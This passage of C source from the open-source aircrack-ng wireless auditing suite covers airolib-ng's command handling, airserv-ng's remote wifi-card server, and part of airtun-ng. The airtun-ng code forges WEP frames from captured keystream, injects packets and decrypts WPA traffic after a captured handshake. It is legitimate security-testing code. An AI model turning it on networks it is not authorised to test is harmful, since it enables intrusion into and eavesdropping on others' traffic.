if (check_for_db(&db, argv[1], 0, 1))
{
return (EXIT_FAILURE);
}
batch_process(db);
break;
case 'c':
// Clean
if (check_for_db(&db, argv[1], 0, 0))
{
return (EXIT_FAILURE);
}
vacuum(db,
(argc > 3 && strcasecmp(argv[3], "all") == 0) ? 1 : 0);
break;
case 'e':
if (argc < 4)
{
print_help("You must specify an export format.");
}
else if (strcmp(argv[3], EXPORT_COWPATTY) == 0)
{
if (argc < 6)
{
print_help("You must specify essid and output file.");
}
else
{
// Export
if (check_for_db(&db, argv[1], 0, 0))
{
return (EXIT_FAILURE);
}
export_cowpatty(db, argv[4], argv[5]);
}
}
else
{
print_help("Invalid export format specified.");
}
break;
case ':':
case '?':
case 'h':
// Show help
print_help(NULL);
break;
case 'i':
// Import
if (argc < 5)
{
print_help("You must specify an import format and a file.");
}
else if (strcasecmp(argv[3], IMPORT_COWPATTY) == 0)
{
if (check_for_db(&db, argv[1], 1, 0))
{
return (EXIT_FAILURE);
}
import_cowpatty(db, argv[4]);
}
else if (strcasecmp(argv[3], IMPORT_ESSID) == 0)
{
if (check_for_db(&db, argv[1], 1, 0))
{
return (EXIT_FAILURE);
}
import_ascii(db, IMPORT_ESSID, argv[4]);
}
else if (strcasecmp(argv[3], IMPORT_PASSWD) == 0
|| strcasecmp(argv[3], IMPORT_PASSWD_ALT) == 0)
{
if (check_for_db(&db, argv[1], 1, 0))
{
return (EXIT_FAILURE);
}
import_ascii(db, IMPORT_PASSWD, argv[4]);
}
else
{
print_help("Invalid import format specified.");
return (EXIT_FAILURE);
}
break;
case 's':
// SQL
// We don't know if the SQL order is changing the file or not
if (check_for_db(&db, argv[1], 0, 0))
{
return (EXIT_FAILURE);
}
sql_stdout(db, argv[3], 0);
break;
case 't':
// Stats
if (check_for_db(&db, argv[1], 0, 1))
{
return (EXIT_FAILURE);
}
show_stats(db, (argv[3] == NULL) ? 0 : 1);
break;
case 'v':
// Verify
if (check_for_db(
&db,
argv[1],
0,
(argc > 3 && strcasecmp(argv[3], "all") == 0) ? 0 : 1))
{
return (EXIT_FAILURE);
}
verify(db,
(argc > 3 && strcasecmp(argv[3], "all") == 0) ? 1 : 0);
break;
default:
print_help("Invalid option");
break;
}
}
else
{
print_help(NULL);
}
if (db) sqlite3_close(db);
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/airserv-ng/airserv-ng.c | /*
* Server for osdep network driver. Uses osdep itself! [ph33r the recursion]
*
* Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
*
* Advanced WEP attacks developed by KoreK
* WPA-PSK attack code developed by Joshua Wright
* SHA1 MMX assembly code written by Simon Marechal
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#include <string.h>
#include <stdarg.h>
#include <signal.h>
#ifdef __NetBSD__
#include <sys/select.h>
#endif
#include "aircrack-ng/defs.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/osdep/network.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/version.h"
static void sighandler(int signum)
{
if (signum == SIGPIPE) printf("broken pipe!\n");
}
struct client
{
int c_s;
char c_ip[16];
struct client * c_next;
struct client * c_prev;
};
static struct sstate
{
int ss_s;
struct wif * ss_wi;
struct client ss_clients;
int ss_level;
} _ss;
static struct sstate * get_ss(void) { return &_ss; }
static void usage(char * p)
{
UNUSED_PARAM(p);
char * version_info
= getVersion("Airserv-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf("\n"
" %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
" https://www.aircrack-ng.org\n"
"\n"
" Usage: airserv-ng <options>\n"
"\n"
" Options:\n"
"\n"
" -h : This help screen\n"
" -p <port> : TCP port to listen on (default:666)\n"
" -d <iface> : Wifi interface to use\n"
" -c <chan> : Channel to use\n"
" -v <level> : Debug level (1 to 3; default: 1)\n"
"\n",
version_info);
free(version_info);
exit(EXIT_FAILURE);
}
static void debug(struct sstate * ss, struct client * c, int l, char * fmt, ...)
{
REQUIRE(ss != NULL);
REQUIRE(c != NULL);
va_list ap;
if (ss->ss_level < l) return;
printf("[%s] ", c->c_ip);
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
}
static void client_add(struct sstate * ss, int s, struct sockaddr_in * s_in)
{
REQUIRE(ss != NULL);
REQUIRE(s_in != NULL);
struct client * c;
if (!(c = calloc(sizeof(struct client), 1))) err(1, "calloc()");
c->c_s = s;
char * netip = inet_ntoa(s_in->sin_addr);
(void) strlcpy(c->c_ip, netip ? netip : "<unknown>", sizeof(c->c_ip) - 1);
printf("Connect from %s\n", c->c_ip);
c->c_prev = &ss->ss_clients;
c->c_next = ss->ss_clients.c_next;
c->c_next->c_prev = c;
ss->ss_clients.c_next = c;
}
static void client_kill(struct client * c)
{
REQUIRE(c != NULL);
c->c_prev->c_next = c->c_next;
c->c_next->c_prev = c->c_prev;
printf("Death from %s\n", c->c_ip);
free(c);
c = NULL;
}
static void card_open(struct sstate * ss, char * dev)
{
REQUIRE(ss != NULL);
struct wif * wi = wi_open(dev);
if (!wi) err(1, "wi_open()");
ss->ss_wi = wi;
}
static int card_set_chan(struct sstate * ss, int chan)
{
return (wi_set_channel(ss->ss_wi, chan));
}
static int card_get_chan(struct sstate * ss)
{
return (wi_get_channel(ss->ss_wi));
}
static int card_set_rate(struct sstate * ss, int rate)
{
return (wi_set_rate(ss->ss_wi, rate));
}
static int card_get_rate(struct sstate * ss)
{
return (wi_get_rate(ss->ss_wi));
}
static int card_get_monitor(struct sstate * ss)
{
return (wi_get_monitor(ss->ss_wi));
}
static int
card_read(struct sstate * ss, void * buf, int len, struct rx_info * ri)
{
int rc;
if ((rc = wi_read(ss->ss_wi, NULL, NULL, buf, len, ri)) == -1)
err(1, "wi_read()");
return (rc);
}
static int
card_write(struct sstate * ss, void * buf, int len, struct tx_info * ti)
{
return (wi_write(ss->ss_wi, NULL, LINKTYPE_IEEE802_11, buf, len, ti));
}
static int card_get_mac(struct sstate * ss, unsigned char * mac)
{
return (wi_get_mac(ss->ss_wi, mac));
}
static void open_sock(struct sstate * ss, int port)
{
REQUIRE(ss != NULL);
int s;
struct sockaddr_in s_in;
int one = 1;
memset(&s_in, 0, sizeof(struct sockaddr_in));
s_in.sin_family = PF_INET;
s_in.sin_port = htons(port);
s_in.sin_addr.s_addr = INADDR_ANY;
if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
err(1, "socket()");
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) == -1)
err(1, "setsockopt()");
if (bind(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
err(1, "bind()");
if (listen(s, 5) == -1) err(1, "listen()");
ss->ss_s = s;
}
static void
open_card_and_sock(struct sstate * ss, char * dev, int port, int chan)
{
printf("Opening card %s\n", dev);
card_open(ss, dev);
printf("Setting chan %d\n", chan);
if (card_set_chan(ss, chan) == -1) err(1, "card_set_chan()");
printf("Opening sock port %d\n", port);
open_sock(ss, port);
printf("Serving %s chan %d on port %d\n", dev, chan, port);
}
static void net_send_kill(struct client * c, int cmd, void * data, int len)
{
if (net_send(c->c_s, cmd, data, len) == -1) client_kill(c);
}
static void handle_set_chan(struct sstate * ss,
struct client * c,
unsigned char * buf,
int len)
{
uint32_t chan;
uint32_t rc;
if (len != sizeof(chan))
{
client_kill(c);
return;
}
chan = *((uint32_t *) buf);
chan = ntohl(chan);
debug(ss, c, 2, "Got setchan %d\n", chan);
rc = card_set_chan(ss, chan);
rc = htonl(rc);
net_send_kill(c, NET_RC, &rc, sizeof(rc));
}
static void handle_set_rate(struct sstate * ss,
struct client * c,
unsigned char * buf,
int len)
{
uint32_t rate;
uint32_t rc;
if (len != sizeof(rate))
{
client_kill(c);
return;
}
rate = *((uint32_t *) buf);
rate = ntohl(rate);
debug(ss, c, 2, "Got setrate %d\n", rate);
rc = card_set_rate(ss, rate);
rc = htonl(rc);
net_send_kill(c, NET_RC, &rc, sizeof(rc));
}
static void handle_get_mac(struct sstate * ss, struct client * c)
{
unsigned char mac[6];
int rc;
rc = card_get_mac(ss, mac);
if (rc == -1)
{
uint32_t x = htonl(rc);
net_send_kill(c, NET_RC, &x, sizeof(x));
}
else
net_send_kill(c, NET_MAC, mac, 6);
}
static void handle_get_chan(struct sstate * ss, struct client * c)
{
int rc = card_get_chan(ss);
uint32_t chan;
chan = htonl(rc);
net_send_kill(c, NET_RC, &chan, sizeof(chan));
}
static void handle_get_rate(struct sstate * ss, struct client * c)
{
int rc = card_get_rate(ss);
uint32_t rate;
rate = htonl(rc);
net_send_kill(c, NET_RC, &rate, sizeof(rate));
}
static void handle_get_monitor(struct sstate * ss, struct client * c)
{
int rc = card_get_monitor(ss);
uint32_t x;
x = htonl(rc);
net_send_kill(c, NET_RC, &x, sizeof(x));
}
static void
handle_write(struct sstate * ss, struct client * c, void * buf, int len)
{
struct tx_info * ti = buf;
void * hdr = (ti + 1);
int rc;
uint32_t x;
len -= sizeof(*ti);
debug(ss, c, 2, "Relaying %d bytes packet from client\n", len);
rc = card_write(ss, hdr, len, ti);
x = htonl(rc);
net_send_kill(c, NET_RC, &x, sizeof(x));
}
static void handle_client(struct sstate * ss, struct client * c)
{
unsigned char buf[2048];
int len = sizeof(buf);
int cmd;
cmd = net_get(c->c_s, buf, &len);
if (cmd == -1)
{
debug(ss, c, 2, "handle_client: net_get()\n");
client_kill(c);
return;
}
/* figure out command */
switch (cmd)
{
case NET_SET_CHAN:
handle_set_chan(ss, c, buf, len);
break;
case NET_SET_RATE:
handle_set_rate(ss, c, buf, len);
break;
case NET_GET_MAC:
handle_get_mac(ss, c);
break;
case NET_GET_CHAN:
handle_get_chan(ss, c);
break;
case NET_GET_RATE:
handle_get_rate(ss, c);
break;
case NET_GET_MONITOR:
handle_get_monitor(ss, c);
break;
case NET_WRITE:
handle_write(ss, c, buf, len);
break;
default:
printf("Unknown request %d\n", cmd);
client_kill(c);
break;
}
}
static void handle_server(struct sstate * ss)
{
int dude;
struct sockaddr_in s_in;
socklen_t len;
len = sizeof(s_in);
if ((dude = accept(ss->ss_s, (struct sockaddr *) &s_in, &len)) == -1)
err(1, "accept()");
client_add(ss, dude, &s_in);
}
static void client_send_packet(struct sstate * ss,
struct client * c,
unsigned char * buf,
int rd)
{
/* XXX check if TX will block */
if (rd == -1)
{
uint32_t rc = htonl(rd);
debug(ss, c, 3, "Sending result code %d to client\n", rd);
net_send_kill(c, NET_RC, &rc, sizeof(rc));
}
else
{
debug(ss, c, 3, "Sending %d bytes packet to client\n", rd);
net_send_kill(c, NET_PACKET, buf, rd);
}
}
static void handle_card(struct sstate * ss)
{
unsigned char buf[2048];
int rd;
struct rx_info * ri = (struct rx_info *) buf;
struct client * c;
struct client * next_c;
rd = card_read(ss, ri + 1, sizeof(buf) - sizeof(*ri), ri);
if (rd >= 0) rd += sizeof(*ri);
ri->ri_mactime = __cpu_to_be64(ri->ri_mactime);
ri->ri_power = __cpu_to_be32(ri->ri_power);
ri->ri_noise = __cpu_to_be32(ri->ri_noise);
ri->ri_channel = __cpu_to_be32(ri->ri_channel);
ri->ri_rate = __cpu_to_be32(ri->ri_rate);
ri->ri_antenna = __cpu_to_be32(ri->ri_antenna);
ri->ri_freq = __cpu_to_be32(ri->ri_freq);
c = ss->ss_clients.c_next;
while (c != &ss->ss_clients)
{
next_c = c->c_next;
client_send_packet(ss, c, buf, rd);
c = next_c;
}
}
static void serv(struct sstate * ss, char * dev, int port, int chan)
{
int max;
fd_set fds;
struct client * c;
struct client * next;
int card_fd;
open_card_and_sock(ss, dev, port, chan);
card_fd = wi_fd(ss->ss_wi);
while (1)
{
/* server */
max = ss->ss_s;
FD_ZERO(&fds);
FD_SET(max, &fds);
/* clients */
c = ss->ss_clients.c_next;
while (c != &ss->ss_clients)
{
FD_SET(c->c_s, &fds);
if (c->c_s > max) max = c->c_s;
c = c->c_next;
}
/* card */
FD_SET(card_fd, &fds);
if (card_fd > max) max = card_fd;
if (select(max + 1, &fds, NULL, NULL, NULL) == -1) err(1, "select()");
/* handle clients */
c = ss->ss_clients.c_next;
while (c != &ss->ss_clients)
{
next = c->c_next;
if (FD_ISSET(c->c_s, &fds)) handle_client(ss, c);
c = next;
}
/* handle server */
if (FD_ISSET(ss->ss_s, &fds)) handle_server(ss);
if (FD_ISSET(card_fd, &fds)) handle_card(ss);
}
}
int main(int argc, char * argv[])
{
char * device = NULL;
int port = 666;
int ch;
int chan = 1;
struct sstate * ss = get_ss();
memset(ss, 0, sizeof(*ss));
ss->ss_clients.c_next = ss->ss_clients.c_prev = &ss->ss_clients;
while ((ch = getopt(argc, argv, "p:d:hc:v:")) != -1)
{
switch (ch)
{
case 'p':
port = atoi(optarg);
break;
case 'd':
device = optarg;
break;
case 'v':
ss->ss_level = atoi(optarg);
break;
case 'c':
chan = atoi(optarg);
break;
case 'h':
default:
usage(argv[0]);
break;
}
}
signal(SIGPIPE, sighandler);
if (!device || chan <= 0) usage(argv[0]);
serv(ss, device, port, chan);
exit(EXIT_SUCCESS);
} |
C | aircrack-ng/src/airtun-ng/airtun-ng.c | /*
* 802.11 WEP network connection tunneling
* based on aireplay-ng
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2006-2009 Martin Beck <martin.beck2@gmx.de>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef linux
#include <linux/rtc.h>
#endif
#include <sys/ioctl.h>
#include <sys/time.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <getopt.h>
#include <fcntl.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/fragments.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/osdep/osdep.h"
static const char usage[]
= "\n"
" %s - (C) 2006-2022 Thomas d'Otreppe\n"
" Original work: Martin Beck\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: airtun-ng <options> <replay interface>\n"
"\n"
" -x nbpps : number of packets per second (default: 100)\n"
" -a bssid : set Access Point MAC address\n"
" In WDS Mode this sets the Receiver\n"
" -i iface : capture packets from this interface\n"
" -y file : read PRGA from this file\n"
" -w wepkey : use this WEP-KEY to encrypt packets\n"
" -p pass : use this WPA passphrase to decrypt packets\n"
" (use with -a and -e)\n"
" -e essid : target network SSID (use with -p)\n"
" -t tods : send frames to AP (1) or to client (0)\n"
" or tunnel them into a WDS/Bridge (2)\n"
" -r file : read frames out of pcap file\n"
" -h MAC : source MAC address\n"
"\n"
" WDS/Bridge Mode options:\n"
" -s transmitter : set Transmitter MAC address for WDS Mode\n"
" -b : bidirectional mode. This enables "
"communication\n"
" in Transmitter's AND Receiver's networks.\n"
" Works only if you can see both stations.\n"
"\n"
" Repeater options:\n"
" --repeat : activates repeat mode\n"
" --bssid <mac> : BSSID to repeat\n"
" --netmask <mask> : netmask for BSSID filter\n"
"\n"
" --help : Displays this usage screen\n"
"\n";
struct communication_options opt;
static struct local_options
{
int tods;
int bidir;
char essid[36];
char passphrase[65];
unsigned char pmk[40];
unsigned char wepkey[64];
int weplen;
int repeat;
} lopt;
struct devices dev;
extern struct wif *_wi_in, *_wi_out;
extern uint8_t h80211[4096];
extern uint8_t tmpbuf[4096];
struct ARP_req
{
unsigned char * buf;
int len;
};
struct net_entry
{
unsigned char * addr;
unsigned char net;
struct net_entry * next;
};
unsigned long nb_pkt_sent;
static struct net_entry * nets = NULL;
static struct WPA_ST_info * st_1st = NULL;
pFrag_t rFragment;
static struct net_entry * find_entry(unsigned char * address)
{
struct net_entry * cur = nets;
if (cur == NULL) return (NULL);
do
{
if (!memcmp(cur->addr, address, 6))
{
return (cur);
}
cur = cur->next;
} while (cur != nets);
return (NULL);
}
static void set_entry(unsigned char * address, unsigned char network)
{
struct net_entry * cur;
if (nets == NULL)
{
nets = malloc(sizeof(struct net_entry));
ALLEGE(nets != NULL);
nets->addr = malloc(6 * sizeof(unsigned char));
ALLEGE(nets->addr != NULL);
nets->next = nets;
cur = nets;
}
else
{
cur = find_entry(address);
if (cur == NULL)
{
cur = malloc(sizeof(struct net_entry));
ALLEGE(cur != NULL);
cur->addr = malloc(6 * sizeof(unsigned char));
ALLEGE(cur->addr != NULL);
cur->next = nets->next;
nets->next = cur;
}
}
memcpy(cur->addr, address, 6);
cur->net = network;
}
static int get_entry(unsigned char * address)
{
struct net_entry * cur = find_entry(address);
if (cur == NULL)
{
return (-1);
}
else
{
return (cur->net);
}
}
static void swap_ra_ta(unsigned char * h80211)
{
REQUIRE(h80211 != NULL);
unsigned char mbuf[6];
memcpy(mbuf, h80211 + 4, 6);
memcpy(h80211 + 4, h80211 + 10, 6);
memcpy(h80211 + 10, mbuf, 6);
}
static int is_filtered_netmask(unsigned char * bssid)
{
REQUIRE(bssid != NULL);
unsigned char mac1[6];
unsigned char mac2[6];
int i;
for (i = 0; i < 6; i++)
{
mac1[i] = bssid[i] & opt.f_netmask[i];
mac2[i] = opt.f_bssid[i] & opt.f_netmask[i];
}
if (memcmp(mac1, mac2, 6) != 0)
{
return (1);
}
return (0);
}
#define IEEE80211_LLC_SNAP \
"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
static int set_IVidx(unsigned char * packet, int data_begin)
{
if (packet == NULL) return (1);
if (opt.prga == NULL)
{
printf("Please specify a PRGA file (-y).\n");
return (1);
}
/* insert IV+index */
memcpy(packet + data_begin, opt.prga, 4);
return (0);
}
static int
my_encrypt_data(unsigned char * dest, unsigned char * data, int length)
{
unsigned char cipher[2048];
int n;
if (dest == NULL) return (1);
if (data == NULL) return (1);
if (length < 1 || length > 2044) return (1);
if (opt.prga == NULL)
{
printf("Please specify a PRGA file (-y).\n");
return (1);
}
if (opt.prgalen - 4 < (size_t) length)
{
printf(
"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
(length + 4));
return (1);
}
/* encrypt data */
for (n = 0; n < length; n++)
{
cipher[n] = (data[n] ^ opt.prga[4 + n]) & 0xFF;
}
memcpy(dest, cipher, length);
return (0);
}
static int
my_create_wep_packet(unsigned char * packet, int * length, int data_begin)
{
if (packet == NULL) return (1);
/* write crc32 value behind data */
if (add_crc32(packet + data_begin, *length - data_begin) != 0) return (1);
/* encrypt data+crc32 and keep a 4byte hole */
if (my_encrypt_data(packet + data_begin + 4,
packet + data_begin,
*length - (data_begin - 4))
!= 0)
return (1);
/* write IV+IDX right in front of the encrypted data */
if (set_IVidx(packet, data_begin) != 0) return (1);
/* set WEP bit */
packet[1] = packet[1] | 0x40;
*length += 8;
/* now you got yourself a shiny, brand new encrypted wep packet ;) */
return (0);
}
static int packet_xmit(unsigned char * packet, int length)
{
REQUIRE(packet != NULL);
unsigned char K[64];
unsigned char buf[4096];
struct WPA_ST_info * st_cur;
int data_begin = 24;
int dest_net;
if (memcmp(packet, SPANTREE, 6) == 0)
{
memcpy(h80211, //-V512
IEEE80211_LLC_SNAP,
24); // shorter LLC/SNAP - only copy IEEE80211 HEADER
memcpy(h80211 + 24, packet + 14, length - 14);
length = length + 24
- 14; // 32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
}
else
{
memcpy(h80211, IEEE80211_LLC_SNAP, 32);
memcpy(h80211 + 32, packet + 14, length - 14);
memcpy(h80211 + 30, packet + 12, 2);
length = length + 32
- 14; // 32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
}
if (lopt.tods == 1)
{
h80211[1] |= 0x01;
memcpy(h80211 + 4, opt.r_bssid, 6); // BSSID
memcpy(h80211 + 10, packet + 6, 6); // SRC_MAC
memcpy(h80211 + 16, packet, 6); // DST_MAC
}
else if (lopt.tods == 2)
{
h80211[1] |= 0x03;
length += 6; // additional MAC addr
data_begin += 6;
memcpy(buf, h80211 + 24, length - 24);
memcpy(h80211 + 30, buf, length - 24);
memcpy(h80211 + 24, packet + 6, 6); // SRC_MAC
memcpy(h80211 + 10, opt.r_trans, 6); // TRANSMITTER
memcpy(h80211 + 16, packet, 6); // DST_MAC
memcpy(h80211 + 4, opt.r_bssid, 6); // RECEIVER
}
else
{
h80211[1] |= 0x02;
memcpy(h80211 + 10, opt.r_bssid, 6); // BSSID
memcpy(h80211 + 16, packet + 6, 6); // SRC_MAC
memcpy(h80211 + 4, packet, 6); // DST_MAC
}
if (opt.crypt == CRYPT_WEP)
{
K[0] = rand_u8();
K[1] = rand_u8();
K[2] = rand_u8();
K[3] = 0x00;
/* write crc32 value behind data */
if (add_crc32(h80211 + data_begin, length - data_begin) != 0)
return (1);
length += 4; // icv
memcpy(buf, h80211 + data_begin, length - data_begin);
memcpy(h80211 + data_begin + 4, buf, length - data_begin);
memcpy(h80211 + data_begin, K, 4); //-V512
length += 4; // iv
memcpy(K + 3, lopt.wepkey, lopt.weplen);
encrypt_wep(h80211 + data_begin + 4,
length - data_begin - 4,
K,
lopt.weplen + 3);
h80211[1] = h80211[1] | 0x40;
}
else if (opt.crypt == CRYPT_WPA)
{
/* Find station */
st_cur = st_1st;
while (st_cur != NULL)
{
// STA -> AP
if (lopt.tods == 1 && memcmp(st_cur->stmac, packet + 6, 6) == 0)
break;
// AP -> STA
if (lopt.tods == 0 && memcmp(st_cur->stmac, packet, 6) == 0) break;
st_cur = st_cur->next;
}
if (st_cur == NULL)
{
printf("Cannot inject: handshake not captured yet.\n");
return (1);
}
// Todo: overflow to higher bits (pn is 6 bytes wide)
st_cur->pn[5] += 1;
h80211[1] = h80211[1] | 0x40; // Set Protected Frame flag
encrypt_ccmp(h80211, length, st_cur->ptk + 32, st_cur->pn);
length += 16;
data_begin += 8;
}
else if (opt.prgalen > 0)
{
if (my_create_wep_packet(h80211, &length, data_begin) != 0) return (1);
}
if ((lopt.tods == 2) && lopt.bidir)
{
dest_net = get_entry(packet); // Search the list to determine in which
// network part to send the packet.
if (dest_net == 0)
{
send_packet(_wi_out, h80211, (size_t) length, kNoChange);
}
else if (dest_net == 1)
{
swap_ra_ta(h80211);
send_packet(_wi_out, h80211, (size_t) length, kNoChange);
}
else
{
send_packet(_wi_out, h80211, (size_t) length, kNoChange);
swap_ra_ta(h80211);
send_packet(_wi_out, h80211, (size_t) length, kNoChange);
}
}
else
{
send_packet(_wi_out, h80211, (size_t) length, kNoChange);
}
return (0);
}
static int packet_recv(unsigned char * packet, size_t length)
{
REQUIRE(packet != NULL);
unsigned char K[64];
unsigned char bssid[6], smac[6], dmac[6], stmac[6];
unsigned char * buffer;
unsigned long crc;
size_t len;
size_t z;
int fragnum, seqnum, morefrag;
int process_packet;
struct WPA_ST_info * st_cur;
struct WPA_ST_info * st_prv;
z = ((packet[1] & 3) != 3) ? 24 : 30;
if ((packet[0] & 0x80) == 0x80) /* QoS */
z += 2;
if (length < z + 8)
{
return (1);
}
// FromDS/ToDS fields
switch (packet[1] & 3)
{
case 0:
memcpy(bssid, packet + 16, 6);
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 10, 6);
memset(stmac, 0, 6);
break;
case 1:
memcpy(bssid, packet + 4, 6);
memcpy(dmac, packet + 16, 6);
memcpy(smac, packet + 10, 6);
memcpy(stmac, packet + 10, 6);
break;
case 2:
memcpy(bssid, packet + 10, 6);
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 16, 6);
memcpy(stmac, packet + 4, 6);
break;
default:
memcpy(bssid, packet + 10, 6);
memcpy(dmac, packet + 16, 6);
memcpy(smac, packet + 24, 6);
memcpy(stmac, packet + 4, 6);
break;
}
fragnum = packet[22] & 0x0F;
seqnum = (packet[22] >> 4) | (packet[23] << 4);
morefrag = packet[1] & 0x04;
/* Fragment? */
if (fragnum > 0 || morefrag)
{
addFrag(packet, smac, length, opt.crypt, lopt.wepkey, lopt.weplen);
buffer = getCompleteFrag(
smac, seqnum, &len, opt.crypt, lopt.wepkey, lopt.weplen);
timeoutFrag();
/* we got frag, no compelete packet avail -> do nothing */
if (buffer == NULL) return (1);
// printf("got all frags!!!\n");
memcpy(packet, buffer, len);
length = len;
free(buffer);
buffer = NULL;
}
process_packet = 0;
// In WDS mode we want to see packets from both sides of the network
if ((packet[0] & 0x08) == 0x08)
{
if (memcmp(bssid, opt.r_bssid, 6) == 0)
{
process_packet = 1;
}
else if (lopt.tods == 2 && memcmp(bssid, opt.r_trans, 6) == 0)
{
process_packet = 1;
}
}
if (process_packet)
{
/* find station */
st_prv = NULL;
st_cur = st_1st;
while (st_cur != NULL)
{
if (!memcmp(st_cur->stmac, stmac, 6)) break;
st_prv = st_cur;
st_cur = st_cur->next;
}
/* if it's a new station, add it */
if (st_cur == NULL)
{
if (!(st_cur
= (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info))))
{
perror("malloc failed");
return (1);
}
memset(st_cur, 0, sizeof(struct WPA_ST_info));
if (st_1st == NULL)
st_1st = st_cur;
else
st_prv->next = st_cur;
memcpy(st_cur->stmac, stmac, 6);
memcpy(st_cur->bssid, bssid, 6);
}
/* check if we haven't already processed this packet */
crc = calc_crc_buf(packet + z, length - z);
if ((packet[1] & 3) == 2)
{
if (st_cur->t_crc == crc)
{
return (1);
}
st_cur->t_crc = crc;
}
else
{
if (st_cur->f_crc == crc)
{
return (1);
}
st_cur->f_crc = crc;
}
/* check the SNAP header to see if data is encrypted *
* as unencrypted data begins with AA AA 03 00 00 00 */
if (packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
{
/* check the extended IV flag */
if ((packet[z + 3] & 0x20) == 0)
{
if (opt.crypt != CRYPT_WEP) return (1);
memcpy(K, packet + z, 3);
memcpy(K + 3, lopt.wepkey, lopt.weplen);
if (decrypt_wep(
packet + z + 4, length - z - 4, K, 3 + lopt.weplen)
== 0)
{
printf("ICV check failed!\n");
return (1);
}
/* WEP data packet was successfully decrypted, *
* remove the WEP IV & ICV and write the data */
length -= 8;
/* can overlap */
memmove(packet + z, packet + z + 4, length - z);
packet[1] &= 0xBF;
}
else
{
if (opt.crypt != CRYPT_WPA) return (1);
/* if the PTK is valid, try to decrypt */
if (!st_cur->valid_ptk) return (1);
if (st_cur->keyver == 1)
{
if (decrypt_tkip(packet, length, st_cur->ptk + 32) == 0)
{
printf("ICV check failed (WPA-TKIP)!\n");
return (1);
}
length -= 20;
}
else
{
if (memcmp(smac, st_cur->stmac, 6) == 0)
{
st_cur->pn[0] = packet[z + 7];
st_cur->pn[1] = packet[z + 6];
st_cur->pn[2] = packet[z + 5];
st_cur->pn[3] = packet[z + 4];
st_cur->pn[4] = packet[z + 1];
st_cur->pn[5] = packet[z + 0];
}
if (decrypt_ccmp(packet, length, st_cur->ptk + 32) == 0)
{
printf("ICV check failed (WPA-CCMP)!\n");
return (1);
}
length -= 16;
}
/* WPA data packet was successfully decrypted, *
* remove the WPA Ext.IV & MIC, write the data */
/* can overlap */
memmove(packet + z, packet + z + 8, length - z);
packet[1] &= 0xBF;
}
}
else if (opt.crypt == CRYPT_WPA)
{
/* check ethertype == EAPOL */
z += 6;
if (packet[z] != 0x88 || packet[z + 1] != 0x8E)
{
return (1);
}
z += 2;
/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
if (packet[z + 1] != 0x03
|| (packet[z + 4] != 0xFE && packet[z + 4] != 0x02))
return (1);
/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
&& (packet[z + 6] & 0x80) != 0 && (packet[z + 5] & 0x01) == 0)
{
/* set authenticator nonce */
memcpy(st_cur->anonce, &packet[z + 17], 32);
}
/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
